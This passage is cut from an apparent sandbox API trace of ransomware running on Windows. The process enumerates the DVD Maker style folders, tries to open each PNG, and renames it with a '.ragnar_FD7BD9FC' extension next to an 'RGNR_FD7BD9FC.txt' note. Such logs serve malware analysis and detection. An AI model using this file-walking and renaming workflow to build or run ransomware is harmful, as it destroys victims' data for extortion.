Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.372] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0079.372] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png") returned=".png" [0079.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.372] CloseHandle (hObject=0xffffffff) returned 0 [0079.372] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" [0079.372] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.372] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.372] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x818b10e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.372] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.372] lstrcpyW (in: lpString1=0x1eab5a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.372] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.372] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.372] lstrcpyW (in: lpString1=0x1eab5a, lpString2="softedges.png" | out: lpString1="softedges.png") returned="softedges.png" [0079.372] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png") returned=".png" [0079.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.373] CloseHandle (hObject=0xffffffff) returned 0 [0079.373] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" [0079.373] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.ragnar_FD7BD9FC" [0079.373] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.373] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0079.373] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.373] lstrcpyW (in: lpString1=0x1eab5a, lpString2="vignettemask25.png" | out: lpString1="vignettemask25.png") returned="vignettemask25.png" [0079.373] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png") returned=".png" [0079.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.373] CloseHandle (hObject=0xffffffff) returned 0 [0079.373] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" [0079.373] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.ragnar_FD7BD9FC" [0079.373] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.373] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0079.373] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.374] lstrcpyW (in: lpString1=0x1eab5a, lpString2="whiteband.png" | out: lpString1="whiteband.png") returned="whiteband.png" [0079.374] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png") returned=".png" [0079.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.374] CloseHandle (hObject=0xffffffff) returned 0 [0079.374] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" [0079.374] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png.ragnar_FD7BD9FC" [0079.374] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.374] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0 [0079.374] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.374] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0079.374] lstrcmpiW (lpString1="WhiteDot.png", lpString2=".") returned 1 [0079.374] lstrcmpiW (lpString1="WhiteDot.png", lpString2="..") returned 1 [0079.374] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0079.374] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0079.374] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81271720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0079.374] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81271720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.374] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0079.375] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.375] lstrcpyW (in: lpString1=0x1eb620, lpString2="16to9Squareframe_Buttongraphic.png" | out: lpString1="16to9Squareframe_Buttongraphic.png") returned="16to9Squareframe_Buttongraphic.png" [0079.375] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned=".png" [0079.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.375] CloseHandle (hObject=0xffffffff) returned 0 [0079.375] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" [0079.375] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.ragnar_FD7BD9FC" [0079.375] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.375] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.375] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.375] lstrcpyW (in: lpString1=0x1eb620, lpString2="16to9Squareframe_SelectionSubpicture.png" | out: lpString1="16to9Squareframe_SelectionSubpicture.png") returned="16to9Squareframe_SelectionSubpicture.png" [0079.375] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned=".png" [0079.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.375] CloseHandle (hObject=0xffffffff) returned 0 [0079.376] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" [0079.376] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.376] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.376] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0079.376] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.376] lstrcpyW (in: lpString1=0x1eb620, lpString2="16to9Squareframe_VideoInset.png" | out: lpString1="16to9Squareframe_VideoInset.png") returned="16to9Squareframe_VideoInset.png" [0079.376] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned=".png" [0079.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.377] CloseHandle (hObject=0xffffffff) returned 0 [0079.377] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" [0079.377] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.ragnar_FD7BD9FC" [0079.377] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.377] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0079.377] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.377] lstrcpyW (in: lpString1=0x1eb620, lpString2="4to3Squareframe_Buttongraphic.png" | out: lpString1="4to3Squareframe_Buttongraphic.png") returned="4to3Squareframe_Buttongraphic.png" [0079.377] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned=".png" [0079.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.377] CloseHandle (hObject=0xffffffff) returned 0 [0079.377] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" [0079.377] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD 